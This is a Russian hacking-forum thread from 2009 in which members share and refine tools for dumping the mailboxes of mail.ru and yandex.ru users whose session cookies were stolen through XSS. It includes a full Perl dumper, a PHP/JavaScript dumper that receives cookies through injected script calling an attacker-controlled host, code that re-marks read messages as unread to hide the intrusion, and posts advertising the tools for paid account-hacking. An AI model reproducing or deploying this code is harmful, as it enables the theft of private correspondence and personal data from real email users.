Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Избранное (https://forum.antichat.xyz/forumdisplay.php?f=89)
-   -   [new mail.ru dumper] by slider (https://forum.antichat.xyz/showthread.php?t=131044)

slider 23.07.2009 18:34

[new mail.ru dumper] by slider
 

Ребят ... а можно я старое описание оставлю .. а ?! =\
Ибо правда заеп... скажу только что код уменьшил в три раза, улучил функционал, исправил багесы, старая версия кстать загнулась ... вобщем прошу любить и жаловать


Наверняка каждому из вас приходилось или приходиться иметь дело с XSS на mail.ru т.к в данный момент это самая актуальная бага на выше упомянутом сервере ....

как нам уже известно сессия не живёт вечно и желательно за небольшой промежуток времени собрать максимально большое количество информации...

Думаю именно в тут вам и поможет эта тулза... в ее задачи как раз и входить ..
  • слить анкетные данные, персональную информацию, контактную информацию, данные для восстановления пароля
  • слить письма с таких директорий, как:
    - Входящие
    - Сомнительные
    - Отправленные
    - Корзина

Кому сможет пригодиться этот скрипт?!

ИМХО всем .. от мала до велика....
пригодится тем у кого "напряг" со временем...
пригодится ленивым ... кому лень рыться на ящике и сливать в ручную...
пригодится незнающим .. те у кого проблема с тем что бы поменять кукисы...
пригодится тем кто делает бизнесс на хеке майл.ру ... например .. фейк не сработал ... а сессию вы получили ... не отдадите же вы заказчику окуратно записаные кукисы?!... заказчик наверняка кроме как распечатать и повешать их на стенку ничего не придумает ;)

P.S: Если нуна .. то можно сделать версию а-ля сниффер ... будет собирать кукису и аккуратненько дамрить всё на сервере.....



PHP код:

#!/usr/bin/perl 

## Сoded by [slider]
## http://forum.antichat.ru

## hello 2 my friends: brain[pillow], genom-- , cy4_, ... and .. and .. m0nzt3r - loleg :-P

use IO::Socket;

$cookies q(ТУТ БУДЕТ КУКИСА);

print  
'-' x 56 "\n [i] Coded by slider \n [i] forum.antichat.ru\n" '-' x 56 "\n\n";
information();create_dir();private();inbox();outbox();doubtful();trash();

sub requester{
    
$rqst IO::Socket::INET->new(PeerAddr=>'win.mail.ru'PeerPort=>'80'Proto=>'tcp'Timeout=>'30') || print "Error! $!\n";
    if(
$_[2] == 1){print $rqst "GET /cgi-bin/msglist?folder=$_[0]&page=9999999999999999 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
    while(
$answer = <$rqst>){if ($answer =~ /$_[1]/){return $1}}}
    if(
$_[2] == 2){print $rqst "GET $_[0] HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
    
open (mailbox$_[1]);while($answer = <$rqst>){print mailbox $answer;}}
    if(
$_[2] == 3){
    print 
$rqst "GET $_[0]$p HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";    
    while(
$answer = <$rqst>){
    if (
$answer =~ /td class=lettem><a href="readmsg\?id=(.*)"/){
    print 
"  [~] MID: $1 && PAGE: $p \n";    
    
open (mailbox">./mailbox/$email/$_[1]/$p.$1.html");
    
$connect IO::Socket::INET->new(PeerAddr=>'win.mail.ru'PeerPort=>'80'Proto=>'tcp'Timeout=>'30') || print "Error! $!\n";
    print 
$connect "GET /cgi-bin/sentmsg?reply&id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
    while(
$answer = <$connect>)
    {print 
mailbox $answer;}}}}
}

sub create_dir{
    if ( ! -
"mailbox" ){mkdir "mailbox"0755 or die "[~] Can't create mailbox: $!\n";}     
    if ( ! -
"mailbox/$email){mkdir "mailbox/$email"0755 or die "[~] Can't create mailbox/$email: $!\n";}     
    if ( ! -
"mailbox/$email/inbox" ){mkdir "mailbox/$email/inbox"0755 or die "[~] Can't create mailbox/$email/inbox: $!\n";}         
    if ( ! -
"mailbox/$email/outbox" ){mkdir "mailbox/$email/outbox"0755 or die "[~] Can't create $email/outbox: $!\n";}         
    if ( ! -
"mailbox/$email/doubtful" ){mkdir "mailbox/$email/doubtful"0755 or die "[~] Can't create $email/doubtful: $!\n";}         
    if ( ! -
"mailbox/$email/trash" ){mkdir "mailbox/$email/trash"0755 or die "[~] Can't create $email/trash: $!\n";}         
    if ( ! -
"mailbox/$email/private" ){mkdir "mailbox/$email/private"0755 or die "[~] Can't create $email/private: $!\n";}         
        print 
"[!] Creating directory: ok\n";$o '['.'-'x 5;
}

sub information{
    
$reg_last_p '<b class=odin>&middot;&nbsp;(.*)&nbsp;&middot;<\/b';
    print 
"[!] Get information:\n\n";$o '['.'-'x5;
    
$email=requester(0,'<nobr>(.*)<\/nobr><\/td><form action=logout>',1);if(!$email){$email='!!WRONG!!';die("Something wrong: e-mail\n")}
    print 
"[- E-mail: $email\n[\n";
    
$ilp=requester(0,$reg_last_p,1);if(!$ilp){$ilp=1;}print $o." Inbox    (last_page): $ilp\n";
    
$somn=requester(950,$reg_last_p,1);if(!$somn){$somn=1;}print $o." Doubtful (last_page): $somn\n";
    
$outbox=requester(500000,$reg_last_p,1);if(!$outbox){$outbox=1;}print $o." Outbox   (last_page): $outbox\n";
    
$trash=requester(500002,$reg_last_p,1);if(!$trash){$trash=1;}print $o." Trash    (last_page): $trash\n\n";
}

sub private{
    print 
"[*] Getting private information: ";
    
requester('/cgi-bin/userinfo',">./mailbox/$email/private/userinfo_1.html",2);
    
requester('/cgi-bin/anketa?page=1',">./mailbox/$email/private/anketa_1.html",2);
    
requester('/cgi-bin/anketa?page=2',">./mailbox/$email/private/anketa_2.html",2);
    
requester('/cgi-bin/userinfo?mra=1',">./mailbox/$email/private/userinfo_2.html",2);
    
requester('/cgi-bin/start',">./mailbox/$email/private/index.html",2);
    print 
"ok\n\n"
}

sub inbox{
    print 
"[!] Geting: INBOX:\n\n";
    for(
$p=1;$p<$ilp+1;$p++){
    
requester("/cgi-bin/msglist?folder=0&page=",'inbox',3);
    print 
"  [~] ok \n";}
}

sub outbox{
    print 
"\n[!] Geting: OUTBOX:\n\n";
    for(
$p=1;$p<$outbox+1;$p++){
    
requester("/cgi-bin/msglist?folder=500000&page=",'outbox',3);
    print 
"  [~] ok \n";}
}

sub doubtful{
    print 
"\n[!] Geting: DOUBTFUL:\n\n";
    for(
$p=1;$p<$somn+1;$p++){
    
requester("/cgi-bin/msglist?folder=950&page=",'doubtful',3);
    print 
"  [~] ok \n";}
}

sub trash{
    print 
"\n[!] Geting: TRASH:\n\n";
    for(
$p=1;$p<$trash+1;$p++){
    
requester("/cgi-bin/msglist?folder=500002&page=",'TRASH',3);
    print 
"  [~] ok \n";}
}
    
## Active Perl:
## http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.8.820-MSWin32-x86-274739.msi

## Antichat.ru 

Download here:http://webfile.ru/3794238


------------------------------------------------------------------------------------------------------


Долгожданная версия дампера под сниффер


- такс... а как юзать!?..
Да элементарно.. при юзании ксс подставляем ссылку на этот скрипт

- ещё что то!?..
ну да... подправьте положение перловы в первой строке: #!"C:\perl\bin\perl.exe" на ваш путь..

ммм... а так же установите нужные права... + убедитесь что в папке со скриптом стоят права на запись =)


Download here:http://webfile.ru/3815167


brain[pillow] 24.07.2009 00:43

Вообще экзотика - такие вещи на перле писать =)

Spyder 24.07.2009 02:56

brain[pillow] , почему это?

brain[pillow] 24.07.2009 03:07

Ну это сугубо моё личное мнение. Такие вещи обычно на PHP или JS пишутся.

LeverOne 24.07.2009 06:32

=== 30.10.2009

PHP код:

<?php
set_time_limit
(600);

// если php < 5.2.0
if (!function_exists('json_decode'))
{
   function 
json_decode($json)
   {
      
// Author: walidator.info 2009 mod by LO (temp)
      
$comment false;
      
$out '$x=';
      for (
$i 0$i strlen($json); $i++)
      {
         if (!
$comment)
         {
            if (
$json[$i] == '{')       $out .= ' array(';
            else if (
$json[$i] == '}')  $out .= ')';
            else if (
$json[$i] == '[')  $out .= ' array(';
            else if (
$json[$i] == ']')  $out .= ')';
            else if (
$json[$i] == ':')  $out .= '=>';
            else                        
$out .= $json[$i];
         }
         else 
$out .= $json[$i];
         if (
$json[$i] == '"')
         {
            
$n 1;
            while (
$json[$i $n] == '\\'$n++;
            if (!(
$n 1)) $comment = !$comment;
         }
      }
      @eval(
$out ' or null;');
      return 
$x;
   }
}

// определение целей, для которых запущен скрипт
if ($_REQUEST['action'] == 'sender')
      
js_sender();
else if(
$_REQUEST['action'] == 'save')
   {
      
create_dir(rawurldecode($_REQUEST['email']));
      
write_message(rawurldecode($_REQUEST['message'])."\r\n\r\n"rawurldecode($_REQUEST['email']), 'registr_info.txt');
   }
else 
select_mail();

// функция выбирает дампер в зависимости от кукисов 
function select_mail()
{
   
$cookie str_replace(';%20''; '$_SERVER['QUERY_STRING']);
   if (
strpos($cookie'Mpop') === false
    { 
       if (
strpos($cookie'yandex') === false
           die(); 
       else 
           
yandex_ru_dump($cookie);
    } 
   else 
     
mail_ru_dump($cookie);


// главная функция дампа mail.ru 
function mail_ru_dump($cookie)
{
   
preg_match('/:.+:(.+?):/'$cookie$email);
   
create_dir($email[1]);
   
// чеккер: открытие и чтение файла с уже записанными идами писем; если его нет - создается. 
   
$fcheck fopen('./mailbox/'.$email[1].'/check.txt''ab') or die();
   
$exist file_get_contents('./mailbox/'.$email[1].'/check.txt');
   
$folders requester('pro.mail.ru''/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D'$cookie'/\[.*\]/');
   
$folders json_decode(utf8_encode($folders[0][0]), true);
   if (
$folders[1] == 'Redirect'js_mail_ru_dump();  // вот тут-то может обнаружиться, что куки привязаны к клиенту: тогда запускается js-дампер
   
foreach ($folders[2]['fList'] as $folder)
   {
     
$filename = ($folder['ID'] == 'inbox' : ($folder['ID'] == 950 'doubtful' : ($folder['ID'] == 500000 'outbox' : ($folder['ID'] == 500002 'trash' 'custom')))); 
      
$fp fopen('./mailbox/'.$email[1].'/'.$filename.'.html''ab') or die();  
      
// все иды в папке одним запросом
      
$ids requester('pro.mail.ru''/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B' .$folder['ID']. '%2C%22D%22%5D'$cookie'/\[.*\]/');
      
$ids json_decode(utf8_encode($ids[0][0]), true);
      foreach (
$ids[2]['mList'] as $id)
      {
         
// чеккер
         
if (strpos($exist$id) === false)
            {
               
// $message[0][0] - строка JSON - из нее многое можно вытащить.
               
$message requester('pro.mail.ru''/cgi-bin/ajax_readmsg?ajax_call=1&func_name=ajax_get_msg_data&data=%5B%22' .$id'%22%5D'$cookie'/\[.*\]/');
               
$message json_decode(utf8_encode($message[0][0]), true);
               
// проверка на прочитанность
               
if ($message[2]['FlagUnread'])
                   
requester('pro.mail.ru','/cgi-bin/ajax_markmsg?ajax_call=1&data=%5B%5B%7B%22msgId%22%3A%22' .$id'%22%2C%22mark%22%3A1%7D%5D%5D&func_name=ajax_mark_msg'$cookie);
               
// запись сообщения
               
fwrite($fputf8_decode("<b>ID: </b>" .$id"<br/>\r\n<b>From: </b>"$message[2]['From']. "<br/>\r\n<b>To: </b>" .$message[2]['To']. "</br>\r\n<b>Date: </b>" .$message[2]['DateStr']. "<br/>\r\n<b>Subject: </b>" .$message[2]['Subject']. "<br/>\r\n<b>Attachments: </b>" .count($message[2]['Attachments']). "<br/>\r\n" .$message[2]['Body_Text_HTML']. "</b></b><br/><br/>\r\n\r\n"));
               
fwrite($fcheck"$id\r\n");
            }
         else break;
      }
      
fclose($fp);
   }
   
// проверка дампа приватной информации 
   
if (strpos($exist'private') === false
      {
         
$userinfo requester('win.mail.ru''/cgi-bin/userinfo?mra=1'$cookie'/class=registr>(.*)<input type="submit"/s'); 
         
$anketa1 requester('win.mail.ru''/cgi-bin/anketa?page=1'$cookie'/class=registr>(.*)<input type="submit"/s'); 
         
$anketa2 requester('win.mail.ru''/cgi-bin/anketa?page=2'$cookie'/class=registr>(.*)<input type="submit"/s');
         
write_message('<b>USERINFO</b><br/>'.$userinfo[1][0].'<br/><b>ANKETA</b><br/>'.$anketa1[1][0].$anketa2[1][0].'<br/><b>FOLDERS</b><br/>'.$folders$email[1], 'private.html'); 
         
write_message("private\r\n"$email[1], 'check.txt');
      }
   
fclose($fcheck);
}

тупо соединить

PHP код:


//  JS-дампер mail.ru
function js_mail_ru_dump()
{
?>

dumper = 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>';
mask = '%e5%e3%e8%f1%f2' + '%f0%7cignup%7cegist%7c%e0%f0%ee%eb%7c' + '%ee%e4%f2%e2%e5%f0%7c%ee%e6%e0%eb%ee%e2%7c%ea' + '%f2%e8%e2%7c%ee%e4%ef%e8%f1';
email = document.cookie.match(/:.+:(.+):/)[1];
var r, ids=[], ids_index, context = window;

document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>';

if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>';

switch (location.hostname) {
  case 'win.mail.ru':
  case 'koi.mail.ru':
    get_ids_html(1);
    break;
  case 'pro.mail.ru':
    get_ids_ajax();
    break;
  default:
    /* if xss on [sub].mail.ru  */
    try {document.domain = 'mail.ru'} catch(er){}
    document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; get_ids_html(1)"><\/iframe>';
}

/* html-interface */
function get_ids_html(page) {
 requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all', 
            function() {
               if (r.readyState == 4) {
                   ids_temp = r.responseText.match(/value="\d{20}/gi) || '';
                   for (n = 0; n < ids_temp.length; n++) ids.push(ids_temp[n].substring(7));
                   r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message(ids[ids_index]) : false);
               }
             }
          );
}

/* ajax-interface */
function get_ids_ajax() {
  requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask,
             function() {
              if (r.readyState == 4) {
                  ids = r.responseText.match(/\d{20}_msg/g) || '';
                  for (n = 0; n < ids.length; n++) ids[n] = ids[n].substring(0,20);
                  if (ids[ids_index = 0]) get_message(ids[ids_index]);
              }
            }
           );
}

/* common */
function get_message(id) {
  requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + id + '%22%5D',
             function() {
               if (r.readyState == 4) {
                   message = r.responseText;
                   if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1' + '&data=%5B%5B%7B%22msgId%22%3A%22' + id + '%22%2C%22mark%22%3A1%7D%5D%5D' + '&func_name=ajax_mark_msg', null);  
                   message = encodeURIComponent(message);
                   /* HTML 5 */
                   if (window.postMessage)
                       document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*');
                   else  /* HTML<5 */
                     document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message);
                   if (ids[++ids_index]) get_message(ids[ids_index]);
               }
             }
           );
}

/* common */
function requester(url, func) {
  try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')}
  r.open('GET', url);
  r.onreadystatechange = func;
  r.send(null);
}

<?php
   
die();
}

// функция выводит слушатеть кроссдоменных сообщений, которые далее пересылаются на дампер обычным xmlhttp
function js_sender()
{
?>
<html>
<body>
<script>
if (window.addEventListener) {
    window.addEventListener('message', listener, false);
} else {
    window.attachEvent('onmessage', listener);
}

function listener(event) {
  with (new XMLHttpRequest()) 
     open('POST', 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>'),
     setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'),
     send(event.data);
}
</script>
</body>
</html>
<?php
   
die();
}


// аналогично: главная функция дампа yandex.ru
function yandex_ru_dump($cookie)

   
$passport_and_email requester('passport.yandex.ru''/passport?mode=passport'$cookie'/l-page-c">(.*b-redletter">(.*?)<.*passform3-l">)/si'); 
   
$index requester('mail.yandex.ru''/m/folders'$cookie); 
   
create_dir($passport_and_email[2][0].'@yandex.ru'); 
   
$fcheck fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt''ab') or die(); 
   
$exist file_get_contents('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt'); 
   if (
strpos($exist'private') === false
      { 
         
write_message('<b>USERINFO</b><br/>'.$passport_and_email[1][0].'<b>FOLDERS</b><br/>'.$index$passport_and_email[2][0].'@yandex.ru''private.html');   
         
write_message("private\r\n"$passport_and_email[2][0].'@yandex.ru''check.txt'); 
      } 
   
preg_match_all('/folder=(.*?)"/'$index$folders); 
   
// если папок не будет найдено, то куки недействительны 
   
if ($folders[1][0] == '') die(); 
   for (
$n 0$n count($folders[1]); $n++) 
   { 
      
$filename = ($n == 'inbox' : ($n == 'outbox' : ($n == 'trash' : ($n == 'spam' : ($n == 'draft' 'custom')))));  
      
$fp fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/'.$filename.'.html''ab') or die();
      
$page 0;
      do {
            
$messagelist requester('mail.yandex.ru''/m/messages?current_folder=' .$folders[1][$n]. '&page_number='.++$page$cookie); 
            
preg_match_all('/ids=(.*?)">.*?<\/a><\/(.)/'$messagelist$ids_and_mark);  
            if (
$ids_and_mark[1][0] == '') break;
            for (
$m 0$m count($ids_and_mark[1]); $m++)
            { 
               if (
strpos($exist$ids_and_mark[1][$m]) === false
                  { 
                     
$answer requester('mail.yandex.ru''/m/message?current_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie'/(<div class="c".*)<div class="op"/s');    
                     
$message "\r\n<br/><b>ID: ".$ids_and_mark[1][$m]."</b><br/>\r\n".$answer[1][0]; 
                     
// если условие выполняется, то письмо непрочитано. 
                     
if ($ids_and_mark[2][$m] == 'b'
                         
requester('mail.yandex.ru''/neo/ajax/action_message_operate?' 'oper=mark_not_read&current_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie); 
                     
fwrite($fp$message); 
                     
fwrite($fcheck$ids_and_mark[1][$m]."\r\n"); 
                  } 
            } 
         }  while(
preg_match('/btn-r/'$messagelist) > 0); 
      
fclose($fp); 
   } 
  
fclose($fcheck); 
}

// универсальная функция запроса-ответа: помимо всего принимает необязательный параметр - регулярку для обработки ответа  
function requester($host$path$cookie$regexp ""

   
$fp fsockopen($host80) or die(); 
   
fputs ($fp"GET $path HTTP/1.0\r\nHost: $host\r\nCookie: $cookie\r\n\r\n"); 
   
$answer=''
   while (!
feof($fp)) $answer .= fgets($fp4096); 
   
fclose($fp); 
   if (
$regexp != ''preg_match_all($regexp$answer$answer); 
   return 
$answer


// универсальная функция записи
function write_message($message$email$filename)
{
   
$fp fopen("./mailbox/$email/$filename""ab") or die();
   
fwrite($fp$message);
   
fclose($fp);
}

// универсальная функция создания директорий
function create_dir($email)
{
   if (!
is_dir("./mailbox")) mkdir("./mailbox"0755) or die();
   if (!
is_dir("./mailbox/".$email)) mkdir("./mailbox/".$email0755) or die();
}


            
//\\  LeverOne //\\
?>

Это - дампер сообщений mail.ru и yandex.ru
Вот его особенности
.
  • [+] Работает через мобильный (yandex.ru) и аякс (mail.ru) интерфейсы. Страницы этих интерфейсов в 10-95 раз легче, чем обычные. Для сравнения: исходник страницы сообщения обычного интерфейса win.mail.ru имеет размер прибл. 61 кБ, мобильного (для смартфонов - xhtml.wap.mail.ru) - 3 кБ, wap (wap.mail.ru) - 1,7 кБ, аякс (pro.mail.ru) - 0,63 кБ.
  • [+] Собирает письма из ВСЕХ папок.
  • [+] Сообщения сохраняются в файлы по именам папок, а не каждое само по себе, при этом только тот текст, который нам важен (без почтовых счетчиков, рекламы и прочей дребедени).
  • При просмотре сообщений через браузер отключаем js, плагины, картинки, лучше - сеть.
  • [+] Чеккер: уже скаченные сообщения не запрашиваются вновь.
  • [+] Расширяемость: выделены универсальные функции, через которые могут работать дамперы для других сервисов, если они будут добавляться.
  • [+] Добавлен JS-дампер для mail.ru, который спасет ситуацию, если вдруг пользователь включил дополнительную безопасность. JS-дампер собирает только регистрационную информацию, и, что очень важно, может работать с поддоменов (почти со всех). Из протестированных браузеров он не поддерживает только FF 2.x из-за баги этого браузера. Для более подробной информации обращайтесь к https://forum.antichat.ru/showthread.php?t=51622
Способ запуска:

1. Только PHP-функционал:

http://mysite.xz/dump.php?Mpop=blabla

(обратите внимание, что значение куки яндекса yandex_nickname должно быть url-кодированно, если содержит кириллические символы! некоторые снифферы полностью url-декодируют все куки, что может повлечь ошибку. правильное значение получается вызовом document.cookie либо повторным кодированием)

или

new Image().src='http://myhost.xz/dump.php?' + document.cookie;

2. Весь функционал (целесообразнее)

with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://myhost.xz/dump.php?' + document.cookie;

Для работы требуется сайт с поддержкой сокетов, выключенным сейфмодом и права на запись. На данный момент скрипт работоспособен в том виде, в котором он размещен, править после форума ничего не нужно.

=== 3.01.2010

Как проверить работоспособность php-части дампера на локальном хосте?

Для этого нужно использовать только такой способ запуска: http://localhost/xampp/test/dump.php?Mpop=blabla

Другие способы на локалхосте могут не работать из-за политик безопасности, принятых в некоторых браузерах (IE к ним не относится, там работают все способы).

Как проверить работоспособность javascript-части дампера на локальном хосте?

Найдите в дампере следующие строки:
PHP код:

   $folders requester('pro.mail.ru''/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D'$cookie'/\[.*\]/');
   
$folders json_decode(utf8_encode($folders[0][0]), true);
   if (
$folders[1] == 'Redirect')  js_mail_ru_dump(); 

и замените их на:
PHP код:

/*   $folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/');
   $folders = json_decode(utf8_encode($folders[0][0]), true);
   if ($folders[1] == 'Redirect') */ 
js_mail_ru_dump(); 

Потом открываете IE --> авторизуетесь в почте --> в адресной строке в контексте первой же страницы, куда вас перебросило, пишете:

javascript:with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://localhost/xampp/test/dump.php?' + document.cookie;void(0);

Появился файл registr_info.txt в директории mailbox/yourmail@mail.ru ?

Если да, то открываете поддомен, например, otvet.mail.ru и пишете то же самое, предварительно удалив старый registr_info.txt. Если и теперь все сработало, то и с javascript-частью все в порядке.

На текущий момент скрипт полностью работоспособен.

slider 24.07.2009 08:13

LeverOne я удивлён что ты не создал 3ую категорию, "замечания очень несущественного характера":

В cабе create_dir ну никак не нужно:
Код:

$o = '['.'-'x5
да и вообще имха.. так будет красивее
Код:

$o = '['.'-'x 5

Касательно 1го пункта: исправил всё...

Касательно 2го пункта:

1. Перезалил на файлообменник
2. Менять не буду ... мне так больше нравится
3. Разделители лишними не бывают, убирать их не стоит

Спасибо за суровые замечания LeverOne, с утра очень подняло настроение)...

m0nzt3r 24.07.2009 10:30

Цитата:

Сообщение от slider
да и вообще имха.. так будет красивее
Код:
$o = '['.'-'x 5

да ну, кто тебе это сказал :D

eLWAux 24.07.2009 13:52

эм.. есть предложение сделать "универсальный" дампер )
прикрутить яху, гмейл, яндекс.почту, etc
как смотришь на ето? )

slider 27.07.2009 13:30

Если будет актуально .. то почему бы и нет .. разом дампить ящики всех знаменитых сервисов ... заразить саент фреймами ... с ксс в знаменитых почтовиках и жрать результатов.. только нужно будет многое переписывать... нгадо будет отладить механизм..
Так же сделать чекер какой то .. что бы повторно ту же почту не сливать ...

Spyder 02.08.2009 01:03

Цитата:

Такие вещи обычно на PHP или JS пишутся.
на JS? =\
По моему перл более удобен при решении таких задач чем пшп


Время: 02:25